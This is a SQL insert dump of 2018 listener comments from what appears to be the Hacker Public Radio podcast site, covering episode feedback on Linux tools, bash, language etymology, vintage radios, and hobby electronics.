(2418,2574,'2018-06-25 23:48:08','JWP','This Show about Cash','Hi klaatu always interesting to see what you will bring up.\r\nI to for a long time when cash only.  I do keep a card in the glove box or bring it traveling but I find I spend less if I just use cash.\r\n\r\nAlso if you can -- I really enjoy many of your topics.  -- Might you get a better headset sometimes its hard for me to hear exactly what you say.  (Audio quality between Jupiter broadcasting and Dave Morris quality would be greatly valued.)','2018-06-26 07:19:01'),
(2419,2582,'2018-06-27 08:33:43','Ken Fallon','Would love HPR feedback','Great show - only one point.\r\n\r\nWe do not \"approve\" shows, we process them. See\r\n\r\nhttps://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated\r\n\r\nYour show will not be moderated.\r\n\r\nWe do not vet, edit, moderate or in any way censor any of the shows on the network, we trust you to do that. Aside from checking snippets for audio quality/spam checking, we have a policy that we don\'t listen to the shows before they are aired. This is a long standing tradition arising from the fact that HPR is a community of peers who believe that any host has as much right to submit shows as any other.\r\n\r\nhpr2210 :: On Freedom of Speech and Censorship describes the agreed approach to this topic.','2022-02-14 13:25:07'),
(2420,2585,'2018-06-29 20:04:21','NYbill','There is one more...','...I found this out by accident in my youth.  You can also point the remote at an electric guitar pickup while its plugged into an amp. \r\n\r\ndit dit dit dit dit dit dit! \r\n\r\nAdd distortion or reverb to your liking. :P','2018-06-29 20:40:09'),
(2421,2579,'2018-07-01 10:58:16','Tony Hughes','Great little update','Thanks JWP, I\'m glad at least one listener found it useful, having been using it for a good couple of months now I can say I am very impressed and have even found a work around for the usb utilities I use in mint. I have installed Mint 19 beta into virtual box and it seems very good and once the stable release is out it will still be my go to distro for installing for family and friends who are not Linux gurus. Ubuntu Mate will probably remain on my main box until the next LTS cycle as I try and keep that as stable as possible and change OS on it as infrequently as I can get away with.','2018-07-01 11:13:41'),
(2422,2583,'2018-07-01 14:00:46','RandyNose AKA TheNose100','The Juiced Penguin','John,  how weird that I pick a random podcast to out of the lineup to listen to and find this one on feedly. I didn\'t even see the Juiced Penguin in the title this morning when I started listening. Heck, it\'s not even something that I think about these days. \r\n\r\nThe Juiced Penguin was an idea that I had, and knew that I couldn\'t pull it off alone. - The Late Great Lord \"D\" assisted me with the original effort. It took a lot of time to find the music, and Klaatu assisted with offering up some content for it also.  I found that it was really time consuming, and Terry F took over for a period of time until it fizzled out. \r\n\r\nThe main idea that I had was to get more OGG content out there, to help expand the awareness of the OGG format, due to restrictions of the MP3 format, and that many MP3 Players didn\'t support it.  - Today, most people are listening to content on computers or Android devices, most are able to listen to the ogg format, if they wish. \r\n\r\nIf my ol\' memory serves right, even Mark Shuttleworth has stopped worrying about the MP3 format being a real problem, even tho\' it\'s still a closed file format. Granted it\'s not open, but the threat of being sued doesn\'t seem likely after nothing happening after all of this time. \r\n\r\n- FWIW, when I AM online I\'m easily found over on G+  aka randynose.com  Also over on Mastodon.Rocks @randynose. \r\n\r\nThanks for reminding me of some good times years ago...  \r\n\r\nAll hail the Juiced Penguin.   :)','2018-07-01 14:14:02'),
(2423,2605,'2018-07-01 17:08:59','Ken Fallon','I *see* what you did there :)','see, vision, eyes - get it ?','2018-07-01 17:40:58'),
(2424,2588,'2018-07-04 19:18:20','Klaatu','painting miniatures','I see amazing painted minis at my local hobby shop, and it always makes me want to get into creating dioramas and battlefields for games, but I don\'t feel like I have the time,money,or space for it. Thanks for letting me live vicariously through your hobby in this episode.','2018-07-04 19:58:52'),
(2425,2519,'2018-07-04 19:27:14','Klaatu','great walkthrough','Thanks for this episode. I\'d heard of Edge of the Empire but have never played. I really like your character build process, and this was a nice overview of how characters work in this system. Thanks1','2018-07-04 19:58:52'),
(2426,2558,'2018-07-06 13:24:24','The Snitch','The Jig is up Dave !','https://www.smbc-comics.com/comic/noun','2018-07-06 13:35:40'),
(2427,2558,'2018-07-06 15:19:55','Dave Morriss','Re: The Jig is up','Haha!\r\n\r\nIsn\'t that like that line from that Star-Trek-Wars film: \"Leverage the Force Luke!\"?\r\n\r\nNo, I\'m wrong, that\'s a verbification I think...\r\nhttps://this.isfluent.com/blog/2010/are-you-stupid-enough-to-use-leverage-as-a-verb','2018-07-06 15:22:31'),
(2428,2590,'2018-07-08 23:17:53','Klaatu','Switches on mains','I\'d never seen an on/off switch on an electirical outlet until New Zealand. Here, every electrical outlet has a dedicated power switch so that you can plug in a device and then power it on. It\'s really useful.\r\n\r\nIn the USA, I think the only way to simulate this is to use a power strip (sometimes a surge protector, other times just a splitter, which often have switches on them.','2018-07-09 08:16:56'),
(2429,2589,'2018-07-08 23:21:36','Klaatu','Thanks for furthering this discussion','You make some really great points. Thanks for taking this discussion farther. I\'d be interested in hearing about more people\'s experiences with saving money, too, because I don\'t think there is just one right answer (or, arguably, the obligation or ability to save at all, if somebody wants to argue those points). The morality is interesting to me, too. It seems like the only way to \"grow\" money requires either contributing to something one doesn\'t actually want to support, or else taking advantage of others. \r\n\r\nBasically, this is a huge topic and it\'s one that is getting more interesting the more I hear other people talk about it.','2018-07-09 08:16:56'),
(2430,2588,'2018-07-09 11:57:06','dodddummy','Wonder no more','I\'ve seen lots of miniatures in the past and wondered what goes on in the mind of those who point them.  Now I know.  Thanks for the insight.','2018-07-09 12:24:02'),
(2431,2589,'2018-07-10 00:50:17','jonkulp','The Suburban Option','Thanks for the comment, Klaatu. I\'d like to hear more discussion about this, too, especially any arguments about whether saving money is really necessary or not. I have at least one colleague at work who rides his bike 4.5 miles each way (and has for the last 20 some years), and he says that he does not save for retirement because his retirement plan is to get hit by a Suburban on the road. I think he\'s only half kidding.','2018-07-10 07:49:16'),
(2432,2594,'2018-07-17 10:31:58','klaatu','nice first ep!','Great episode. I loved your use cases, and the walk-through of using the tool. Also, I tried nmtui out for myself and it is actually quite useful. Network configuration is such a bother, so it\'s nice to have an \"easy\" button with tools like these that still don\'t depend on a Xorg/Wayland/whatever.','2018-07-17 11:36:25'),
(2433,2596,'2018-07-17 10:40:21','klaatu','great series','This is such a great series. I can honestly say that, having spoken fairly proper English for my entire life, I hate the English language. Of all the languages poised to serve as a global language, there could not be one more undeserving than an amalgamation of Germanic forced through a filter of Latin. It\'s inconsistent, confusing, over-complex, and yet also insufficient (see the FSF\'s struggle with the lack of an adjective form of \"free\" for an example).\r\n\r\nI really wish a sensible, constructed language would be adopted in English\'s place.\r\n\r\nAnyway, nice series, although your efforts are surely in vain, because English will never make sense.','2018-07-17 11:36:25'),
(2434,2599,'2018-07-19 01:51:40','cmhobbs','great plan!','Loved this episode, Ken!  Wish I would\'ve thought about this before purchasing TaoTronics TT-BA07.  I like my little device but I prefer the DIY way!\r\n\r\nMy rockbox sansa device is still alive but my dad\'s bit the dust.  I\'m hoping mine keeps going, though I am often using my android phone and this adaptor these days.','2018-07-19 06:51:17'),
(2435,2596,'2018-07-19 15:28:22','Dave Morriss','Is English really so bad?','There\'s no doubt (in my mind anyway) that English is weird and difficult; annoying (at times) and illogical. Possibly because I was a bad student at school in my teens, I have never properly understood the whole issue of grammar, parsing sentences, past participles and all of that. However, I have always had a fascination with words, their meanings and their origins, and I think it\'s English that has led to that interest.\r\n\r\nOther languages also have their problems. I learnt French at school (and did a few years as an adult too) and never got to grips with the genders of nouns. Why is a table (furniture) feminine for example? How is it possible to remember them all? I still enjoy attempting to speak French nevertheless.\r\n\r\nYou point to the deficiencies of English with regard to the meaning of \"free\". Absolutely. That\'s a shortcoming. However, many other languages have their own idiosyncrasies. I worked at a university with a campus in Kuala Lumpur, Malaysia. Bahasa Melayu, the local language, has a very different grammar compared to English. See https://en.wikipedia.org/wiki/Malay_grammar for some aspects of it. I remember having conversations with Malay speakers, suggesting a English way of expressing a thing, to be told that that was pretty much impossible in their language. This led me to believe that English might be more subtle; though perhaps on the other hand it\'s more suitable for circumlocution, evasion and indirectness!\r\n\r\nAt school my French teacher was also an advocate of Esperanto. I wonder if that sort of language was what you had in mind instead of English? I don\'t know enough about its benefits to judge, but I wonder if a constructed language can really be as rich as a \"natural\" evolved language - even with all of its clutter and detritus.\r\n\r\nThanks for your comments - they really got me thinking.','2018-07-19 15:30:08'),
(2436,2583,'2018-07-20 05:21:16','clacke','mp3 is not a real problem','The Fraunhofer Institute\'s US patents on mp3 have expired, so the mp3 format is no longer problematic in connection with free software.\r\n\r\nThe only reasons not to use mp3 these days are because it\'s two decades behind in codec evolution (e.g. Opus is strictly better in every aspect) and in envelope evolution (e.g. Matroska has better metadata and streaming facilities).','2018-07-20 07:47:31'),
(2437,2596,'2018-07-20 13:41:04','Hipstre','Thanks so much!','I am pleased you responded with more etymological information. For some reason, knowing that kind of history really brings these things alive for me. I am enjoying the series.\r\n\r\nI hope at some later date there might be a connection to regular grammar and regular language. I\'ve always been fascinated by the connection between Noam Chomsky\'s linguistic work and the simultaneous development of Lisp at M.I.T.&mdash;both endeavors being obsessed with recursion.','2018-07-20 14:11:59'),
(2438,2597,'2018-07-21 19:43:02','Hipstre','How to Fix a Remote','Thanks for this podcast. I\'ve run into the same problem. Once I cleaned my remote about three times it was done. The \"gunk\" in the remote that gets on the circuit board is generally some kind of silicone lubricant or solvent. Apparently, the button pads have to be cooked after they are made to get all the silicone gunk out, and most manufacturers don\'t bother any longer, as they assume you will only use the remote for a year or two before losing it (or you\'ll just buy a new one?).\r\n\r\nThe actual, physical act of pressing the button pushes the silicone gunk out of the pad.\r\n\r\nThanks for the guitar pick trick!','2018-07-21 19:53:56'),
(2439,2596,'2018-07-22 00:02:03','bjb','the ownership apostrophe','I loved learning that the ownership-form of the apostrophe is really another example of a contraction.','2018-07-22 09:02:32'),
(2440,2596,'2018-07-22 10:26:51','Dave Morriss','Hipstre\'s comments','I am fascinated by etymology. I learnt a lot of spelling and pronunciation by understanding word origins as a youngster, and spent a fair bit of time looking stuff up in a dictionary to find etymological information. I will try and share some of the historical context as I go for certain.\r\n\r\nI studied what was being called \"Comparative Psychology\" at university, and this involved looking at some of Chomsky\'s work. I wouldn\'t say I was very familiar with it now 40+ years later, but I\'m prepared to have another look.\r\n\r\nI expect these shows will become a series soon, and you will be very welcome to contribute to it. You are welcome to contribute now!','2018-07-22 10:28:22'),
(2441,2600,'2018-07-23 00:59:38','NYbill','Ha!','I won\'t hear this till tomorrow, while driving at work. But, it is fitting that it happened to come out during the Hackers On Planet Earth conference. :D','2018-07-23 06:42:00'),
(2442,2603,'2018-07-25 12:22:55','Hipstre','Nick Burns','Enjoyed the podcast.\r\n\r\nI find it to be very frustrating asking technical questions because a lot of guys want to humiliate people who ask them questions. Like Nick Burns. And I find that these guys often don\'t actually answer the question, because they aren\'t listening. They just listen until they hear a keyword, and then go into a rant.','2018-07-25 12:39:32'),
(2443,2603,'2018-07-25 22:33:04','dodddummy','Related to humilation','There are lots of issues with how we ask and answer questions but related to humiliation specifically, what makes me really sad is when someone tells me they don\'t want to ask a question because the person or people they\'ll be asking humiliate them.\r\n\r\nOne of the reasons I will not publish the asker\'s name if they don\'t me want to.\r\n\r\nI first this seems like a weak person, but I\'ve had managers tell me the look down on people who don\'t know things.  So I understand the hesitation to ask questions in an unfriendly environment.\r\n\r\nThere\'s a lot to learn and we might all be better off if we realize the person has skills, just maybe not in the same area you do.','2018-07-26 07:11:26'),
(2444,2596,'2018-07-26 16:54:58','Dave Morriss','Re: Ownership apostrophe','Haha! I hadn\'t quite looked at it like that, but you are right.\r\n\r\nI like looking for logicality in language. Sometimes it\'s a vain search (as I\'m sure @klaatu would say), but a fair bit seems to conform to _somebody\'s_ idea of logic.','2018-07-26 16:59:41'),
(2445,2603,'2018-07-27 02:19:51','Brenda J. Butler','People who waste my time by trying to find the answer for me.','I totally agree.\r\n\r\nAnd another thing that is annoying is when you ask a question and the person doesn\'t know the answer but either tells you a bunch of generalities that anyone would know, and/or tries to find the answer while you stand there, when you could go back to your desk and look for yourself.  What I would like is a quick answer, even if it is \"I don\'t know\" or even \"I don\'t know off the top of my head\".  They could throw in some keywords to search for, if they think it might help.','2018-07-27 09:05:48'),
(2446,2603,'2018-07-27 11:42:52','Quick Answers','I failed to do this and I\'m sorry.','Brenda,\r\nThat is annoying!  What I try to remember to do is to ask in the format of \"Don\'t spend time on this but do you know off the top of your head?\"\r\n\r\nBut recently, I asked someone a question I\'d already spent a lot of time researching and it appears that I couldn\'t do what I wanted to do.  \r\n\r\nBut, as I said, if I think something should be possible, I won\'t let a \'No\' remain so and will ask again every few months.  Even if it\'s a \'No\' now, things change quickly.  \r\n\r\nAnyway, I forgot to add \'off the top of your head\' and I\'m afraid 1-2 hours might have been spent searching for me to return the first bit of text my researching revealed.  \r\n\r\nI feel so bad about that slip of the tongue.','2018-07-27 11:47:28'),
(2447,2605,'2018-07-28 02:30:04','ClintonRoy','Yowsers','Yikes. I really don\'t have much to say. I used to run away as a kid to get treats from the store next door, no trains nearby though..','2018-07-28 06:28:02'),
(2448,2607,'2018-07-31 16:21:06','b-yeezi','Seems likea great teaching tool','Thanks for this episode. I\'ve heard of processing, but never knew what it was or how it could be useful. I will probably turn to this after scratch for my kids.','2018-07-31 16:58:11'),
(2449,2608,'2018-08-02 04:13:15','cmhobbs','hurray battletech!','I haven\'t listened to the podcast yet but I have it queued for my morning walk.  I hope you mentioned MegaMek and MekWars. As an avid btech fan, it\'s about the only way I can play these days because it\'s hard to get a tabletop game together sometimes.','2018-08-02 07:03:13'),
(2450,2609,'2018-08-04 07:51:12','clacke','Thank you!','Excellent show as always! What SparkleShare is and how to use it at different expert levels, and when not to use it at all, is all thoroughly explained without the episide ever feeling long.\r\n\r\nBut most of all, thank you for paying off my episode debt to the community for me. I guess I owe you personally an episode now instead.','2018-08-04 09:00:55'),
(2451,2542,'2018-08-04 07:55:12','clacke','Full episode on SparkleShare','For a complete rundown on the when, what and how of SparkleShare, see klaatu\'s https://hackerpublicradio.org/eps.php?id=2609 .','2022-02-14 13:25:07'),
(2452,2608,'2018-08-06 05:40:34','tuturto','MegaMek and MekWars','MegaMek and MekWars I completely forgot as I was do excited to talk about the game. Truth to be told, there\'s so much to tell about the game that it\'s almost impossible to fit all of it in one episode even in a very superficial level.','2018-08-06 07:18:03'),
(2453,2611,'2018-08-06 23:31:39','dodddummy','In case there was any doubt.','This is a quote from Klaatu today on Mastodon.\r\n\r\n\"Also, English is the worst language. I wish we\'d migrate away to something constructed and better, like Esperanto.\"','2018-08-07 09:19:17'),
(2454,2612,'2018-08-07 17:27:05','Steve','Rockets!','Thanks for doing this interview. \"Concrete Dog\" looks like someone I could get along with quite well.','2018-08-07 18:07:51'),
(2455,2614,'2018-08-09 14:08:39','hammerron','Tube Radio Show','What an awesome looking radio.  You brought back several memories for me.  I vaguely remember my dad having an old stand up unit in his barn/workshop.  I had several push button channel selectors. Also, I once had a table top tube am radio with a clock (about the size of a toaster).  Then lastly, your station playing \"Dark Lady\" Wow, I had that on a 45 (if anyone remembers those kind of recordings.  Thank you Jon for the memories!','2018-08-09 14:15:15'),
(2456,2612,'2018-08-09 21:57:59','Tony Hughes','Comment 1','Steve, Glad you enjoyed the show, it was an enjoyable interview to record.','2018-08-09 22:01:17'),
(2457,2614,'2018-08-11 19:14:18','Jon Kulp','Tube clock radios','So glad you enjoyed this. Once you start looking around on the internet at vintage tube radios you find that there are TONS of these things, and the photo galleries are serious eye candy if you like mid-century  modern industrial design. They also have lots of tube-powered clock radios like you described. Wish I had the money and the space to start collecting these things!','2018-08-11 19:18:59'),
(2458,2615,'2018-08-12 00:55:28','Clinton Roy','Thank you.','Thank you for this, I appreciate your openness and the details.','2018-08-12 08:58:10'),
(2459,2613,'2018-08-12 14:43:55','Dave Morriss','Thanks for this','Hi klaatu,\r\n\r\nThanks for this heads-up. It *is* a confusing feature of awk, but it\'s the same for sed (so at least the authors are consistent). I don\'t think we have emphasised it enough, on reflection.\r\n\r\nIt was highlighted in show 2 of the Awk series (https://hackerpublicradio.org/eps/hpr2129/full_shownotes.html#more-about-awk-programs) and has been used many times thereafter, but hasn\'t been emphasised.\r\n\r\nSo, thanks again for the feedback. It\'s most appreciated.\r\n\r\nDave','2022-02-14 13:25:07'),
(2460,2617,'2018-08-14 18:35:17','Ken','Where is the script','Did we forget to include the script itself ?','2018-08-14 18:38:43'),
(2461,2618,'2018-08-15 17:27:56','b-yeezi','Looking into this','Yesod seems like a great option for high-concurrency web applications. Thank you for introducing it to me and the rest of the HPR community.','2018-08-15 18:19:07'),
(2462,2619,'2018-08-21 19:03:05','rtsn','comment','This was a great episode, thanks!','2018-08-21 19:49:27'),
(2463,2620,'2018-08-23 01:04:58','baffled','Nice show','This is my first time commenting so I apologize in advance for any screw ups.\r\n\r\nI believe your point one to move to the new language as soon as\r\npossible is an excellent idea. I\'d also be interested in helping with\r\ndeveloping and discussing it should you decide to persue the notion.\r\n\r\nThere is a great book \"The Future of Learning - the Michell Thomas\r\nMethod\" by Michell Thomas Where he discusses his perspective on\r\neducation that I recommend as an interesting read.','2018-08-23 08:08:48'),
(2464,2624,'2018-08-23 04:28:29','Clinton Roy','Fantastic','Encore!','2018-08-23 08:08:48'),
(2465,2620,'2018-08-24 10:42:08','dodddummy','I have 2, do I hear 3?','baffled,\r\nYou make fewer screw ups than I do.\r\n\r\nI\'ll take a look at the Michell Thomas Method.\r\n\r\nI would definitely put time into developing this out if it seems like there\'s enough people willing to spend some time.  Two might be enough.  A couple more couldn\'t hurt.','2018-08-24 10:43:59'),
(2466,2627,'2018-08-28 01:17:42','Mike Ray','Definition of hacking!','Brilliant show.  This show is the real definition of hacking.\r\n\r\nIf I have this right, you found some Cisco phones in the garage of a neighbour and set about getting them to do something useful.\r\n\r\nThe joy of getting something to work is obvious from your tone of voice and your dialogue. Something that we all no doubt can identify with.\r\n\r\nAll the more satisfying when it is resurrecting something previously discarded','2018-08-28 08:57:44'),
(2467,2622,'2018-08-28 05:43:18','Ken Fallon','Why is there no cute warning on this episode','Seriously a joy to listen to.','2018-08-28 08:57:44'),
(2468,2627,'2018-08-28 19:36:03','b-yeezi','My sentiments exactly','This is the definition of hacking. I loved how you described your problem solving process. More of these, please!','2018-08-28 19:57:47'),
(2469,2627,'2018-08-29 17:11:25','jezra','Absolutely spectacular','The best part of this wonderful hack (IMHO) is that you created something and then used that something to record an HPR episode.','2018-08-29 21:03:08'),
(2470,2627,'2018-08-30 12:07:18','dodddummy','Scream, Yell, \"Bravo!\", also, this is called A Show','While I listen to ALL episodes of hpr, Sigflup is on my \'must watch NOW\' list. This one delivered in spaces for me.  Not only was is fun to listen to, but I have similar equipment I\'ve been meaning to do something similar with.\r\n\r\nThere goes my last excuse.\r\n\r\nMy only regret is that after the excellent real hacking phone shows from the last two days, my horrible by comparison drivel is up today.  \r\n\r\nSorry about that.','2018-08-30 12:32:28'),
(2471,2628,'2018-08-30 12:14:36','dodddummy','Memories','Thoroughly enjoyed this episode. Due in large part to remembering the times read or listened to people talking about similar things in my youth.  I did try some of them out but mostly read or listened to people describing the experience.','2018-08-30 12:57:07'),
(2472,2627,'2018-08-30 12:34:29','Mike Ray','Stoop?','But what the hell is a stoop?  Think we need an American/English dictionary here :-)','2018-08-30 12:57:07'),
(2473,2622,'2018-08-30 23:56:53','dodddummy','Cuter than a box of puppies or kittens','If this ain\'t what hacking is about, then hacking ain\'t worth a plug nickel.','2018-08-31 08:03:30'),
(2474,2627,'2018-09-01 02:24:15','Brenda J. Butler','stoop','A \"stoop\" is a set of cement steps up to your front door - not as big as a \"porch\".  Hmm, not sure if it has to be cement.','2018-09-01 08:30:58'),
(2475,2635,'2018-09-01 09:07:10','dodddummy','This is embarrassing','Enjoyed the show but given they fact I\'m a long time hercules user and a grey beard mainframer I\'m embarrassed I didn\'t do this show!  Actually, I recorded this show more than once but thought it wouldn\'t make sense to someone new to the mainframe.\r\n\r\nI think you handled that problem well.  Maybe this will inspire me enough to create some mainframe shows.\r\n\r\nI agree the moshix youtube channel is worth checking out for anyone interested in the mainframe.','2018-09-01 09:24:43'),
(2476,2624,'2018-09-03 18:43:17','baffled','Very nice.','Your descriptions were excellent and enjoyable. Thank you very much\r\nfor sharing the trip through town with us.','2018-09-03 18:59:30'),
(2477,2631,'2018-09-03 18:55:38','baffled','Cool show.','Hey, just wanted to let you know I thought it was a fun and interesting show. \r\n\r\nThanks also for the mention.','2018-09-03 18:59:30'),
(2478,2631,'2018-09-03 18:58:23','baffled','Cool show.','Hey, just wanted to let you know I thought it was a fun and interesting show. \r\n\r\nThanks also for the mention.\r\n\r\nHmm, can I do this...Just wanted to add my two cents on the front notices to podcasts. I like the espeak announcements. Considering I\'m a blink that may be why. The theme music would be nice to have alternating versions to make them less tedious.','2018-09-03 21:03:45'),
(2479,2549,'2018-09-04 15:16:27','archer72','Change to code location','Code for this episode is now at Notabug.org\r\n\r\nhttps://notabug.org/archer72/CD-DVD-ripping-on-Slackware','2018-09-04 15:20:09'),
(2480,2635,'2018-09-08 02:10:15','Gavtres','Memories...','Ohhh... this episode brought back pleasant memories when PCs were just &ldquo;toys&rdquo; made to run WordPerfect, Lotus123, Harvard Graphics and Attachmate Extra TN3270 emulator. Thanks for the ride.','2018-09-08 09:45:00'),
(2481,2615,'2018-09-09 13:23:15','A person','Thankyou','Thankyou Ahuka for your bravery, honesty and openness on this subject.\r\nHPR has a broad spectrum of listeners though one suspects many are people who, though younger than yourself, are acutely aware of a family history of certain cancers. This show gave a great insight into what one should expect if a diagnosis becomes a pressing concern, particularly with the state of modern medicine.\r\nAlso thank you for reiterating, one should always consult a medical professional for advice upon which to make a decison about treatment or any other course of action.','2018-09-09 13:54:06'),
(2482,1919,'2018-09-10 04:01:54','Carpet Muncher',':)','very interesting. i love xoke\'s stuff','2018-09-10 08:00:36'),
(2483,2637,'2018-09-13 05:00:37','Ken Fallon','WOW','Those that I know I use literally every day. Can\'t wait to try the rest out.\r\n\r\nPlease do a deep dive series on each. No pressure.','2018-09-13 08:36:01'),
(2484,2639,'2018-09-14 05:22:37','Ken','Ahhhhhh','Always knew I needed spaces now I know why.\r\n\r\nThe evaluate zero thing seems strange.\r\n\r\nNote to self: stop using wc -l to count grep output.','2018-09-14 07:04:49'),
(2485,2637,'2018-09-14 11:23:51','Beeza','Value of text conversion','I\'m a big fan of plain text and CSV files, as they are probably the formats that will last conceptually forever - unlike the Office formats we use today (including ODS/ODT etc). You may lose the layout information but the \"meat\" is always preserved.\r\n\r\nThe PDF to Text converters only work with documents which have been generated from a WP application. Scans of a printed document generally only produce an embedded JPG image.\r\n\r\nA few years ago I created a system that employed many of the commands you mention in your episode to convert a document into pure ASCII text, then create a non-repeating list of all the words it contains, along with an instance count (using SQL). By applying this to the contents of a document library the database was used to populate a \"search by keyword\" system for that library.\r\n\r\nPopulating the database from several hundred Word and PDF documents took only a couple of minutes. The subsequent keyword searches were very fast and produced a list of relevant documents ranked by the number of instances of the keyword. It was very easy to combine keywords using SQL \"AND\" and \"OR\" qualifiers.','2018-09-14 11:27:22'),
(2486,2637,'2018-09-15 11:49:36','Jonas','Ranger, etc.','I\'m a die hard vimmer and have never heard of Ranger. I\'m looking forward to using it more. I asked a couple of my online Linuxey buddies and they used it years ago when they had less substantial machines. I still love the command line stuff even with my best machines. Everything is super quick in the terminal. \r\nThanks for the mention and your great shows. \r\nI need to explore jq for sure. I work with a database that saves a couple columns in JSON. It would be nice to query the exports in a more friendly way.','2018-09-15 12:03:00'),
(2487,2637,'2018-09-15 15:34:53','Dave Morriss','Great show','I installed Ranger after listening to your show 1756 (https://hackerpublicradio.org/eps.php?id=1756) but never used it and completely forgot about it. I was surprised to find it on my system and have been playing about with it a lot since listening to this show.\r\n\r\nI\'m a long-time text and command-line user but I tend to use Midnight Commander for the times I want to do a lot of file searching and manipulation, though I have to admit I use Dolphin sometimes in two-pane mode when I\'m doing things like copying files off an SD card. I shall add Ranger to the mix too I think.\r\n\r\nI agree with Ken: we need shows about all of the tools in your list!\r\n\r\nAnyway, this was a very welcome episode. Thanks.','2022-02-14 13:25:08'),
(2488,2557,'2018-09-18 05:31:55','clacke','Update re: TOML in Nix','With Nix 2.1 ( https://nixos.org/nix/manual/#ssec-relnotes-2.1 ) reading TOML files has become a builtin function in Nix, just builtins.fromTOML /path/to/the/file.toml .\r\n\r\nI can\'t imagine this being unrelated to Mozilla\'s implementation in Nix.','2018-09-18 06:59:22'),
(2489,2640,'2018-09-19 17:30:58','thelovebug','Audio quality','Good to hear from you again.  I really enjoyed this episode, the audio quality was definitely on point... those little lapel mics are great!\r\n\r\nDon\'t worry too much about the structure of this episode, you were recording to make a point and you made it really well.','2018-09-19 17:48:32'),
(2490,2637,'2018-09-20 03:07:44','clacke','Q','Never heard of Q before. Very cool! I will very likely find use for this.\r\n\r\nNot a very googlable name, but I found it here: https://harelba.github.io/q/','2018-09-20 08:29:51'),
(2491,2644,'2018-09-20 05:50:27','clacke','Ken loves you','Now that\'s how you don\'t waste a good opportunity to make an HPR episode. I am observing and learning.','2018-09-20 08:29:51'),
(2492,2644,'2018-09-20 05:57:34','clacke','Re: Kvalificerat hemligt','Oh, and I love Kvalificerat hemligt (and I love that Ken or Dave is going to have to pronounce it when reading this on the community show).\r\n\r\nDid you listen to Skeptikerpodden back when it was active and CJ was one of the people involved? That was a very good show, and I miss it.','2018-09-20 08:29:51'),
(2493,2625,'2018-09-20 06:30:22','clacke','Accordion outro','Thank you MrX for that lovely accordion outro. Hadn\'t heard it before!','2018-09-20 08:29:51'),
(2494,2625,'2018-09-20 06:45:00','clacke','Interesting idea','I\'m a tool person, so I really like the idea of using your tools to push yourself forward in your language learning. It\'s hard to say how it would turn out in practice, but I\'m optimistic.\r\n\r\nAs you mention, mixing vocabulary in languages that have very different grammars could become a bit strange, but code-switching -- that is, jumping back and forth between languages - is common and frequent with bilingual people, and it frequently happens mid-sentence, so I guess that just shows that people are pretty good at making it work even in radically different languages.\r\n\r\nThe area where I live has mostly Chinese Hongkongers, but many of them speak a lot of English in the office and at home, and it\'s pretty fun to listen to the kids on the playground and in the playroom talk to each other -- it\'s a real soup of Cantonese and English.','2018-09-20 08:29:51'),
(2495,2639,'2018-09-21 07:28:12','johanv','Really interesting','I hadn\'t listened to HPR for a long time, but a couple of days ago I had some spare time, and I decided to listen to this episode. I liked it a lot, and today I am a little more aware about what I am actually doing while writing if statements with those square brackets in bash, and checking return codes.\r\n\r\nThanks for the interesting show!','2018-09-21 09:03:43'),
(2496,2639,'2018-09-21 15:56:54','Dave Morriss','Thanks for the feedback','Ken: Yes the arithmetic stuff evaluating to true/false is a bit counter-intuitive I think. Yes, grep is quite a powerful tool for use in scripts.\r\n\r\njohanv: Glad you found the show useful. I\'m trying to explain things that I never fully understood before, and to share what I have found as I do so.','2018-09-21 16:00:16'),
(2497,2645,'2018-09-21 19:50:13','NYbill','Nice!','Ha ha, nice job Ken. It made me smile when I heard you happy it was finally blinking. And we got some live troubleshooting as well! Good stuff. \r\n\r\nYou know how I remembered which way a LED went way back when... One leg of the LED is cut off.  \'Cut Off\' starts with a \'C\'.  So does Cathode.  The short leg is the cathode.  If you had your leg cut off, that would be a pretty negative thing. The short leg is negative. \r\n\r\nJust a little mnemonic device I made up to help me remember.  I still think of it to this day. \r\n\r\nNow, you just need to build one of the oscilloscope kits. You know, to see how fast your LED is blinking. \r\n\r\nSee how I did that?  Its how we get more shows.  ;)','2018-09-21 20:09:42'),
(2498,2645,'2018-09-22 04:42:42','tuturto','great show','These troubleshooting shows are one of my favourites. I did tinker just a tiny bit with electronics at school, but never invested enough time to really understand what electricity is all about. Especially the analog electronics is sort of black magic to me :)\r\n\r\nBut I love listening when someone is working with it, explaining what they\'re doing and slowly working their way through a problem.','2018-09-22 08:14:44'),
(2499,2644,'2018-09-24 06:45:40','folky','Rere: Kvalificerat hemligt','Yes, I did listen to Skeptikerpodden and I miss it. For some time I listened to Kvack! after it ended, but that\'s not really a good replacement. To be honest, Kvack! is one of those podcasts I meant with \"got tired of\".\r\nWe really need some podcast in Swedish (and German too) in the tradition and quality of SGU.','2018-09-24 07:15:34'),
(2500,2650,'2018-09-28 05:43:14','Ken Fallon','Milkbag wtf','What pray is a milkbag.\r\n\r\nAlso soundscape tour of the falls please','2018-09-28 06:59:28'),
(2501,2648,'2018-09-28 23:11:17','NYbill','Thanks pal','Yea, do continue this series. I recently got my Tech license.  I\'ll go for the General soon. \r\n \r\nIts nice to have someone explain what you might see if/when you get an actual radio.  Because, walking into this cold, it just looks like a lot of buttons!','2018-09-29 06:43:33'),
(2502,2651,'2018-09-30 12:51:25','Ken Fallon','The loop issue','This fails\r\n\r\nls *.mp3|while read i;do ffmpeg -i \"${i}\" \"${i}.wav\" 2&gt;&amp;1;done\r\n\r\n\r\nThis works\r\n\r\nfor i in *.mp3;do ffmpeg -i \"${i}\" \"${i}.wav\" 2&gt;&amp;1;done\r\n,/pre&gt;','2018-09-30 13:53:34'),
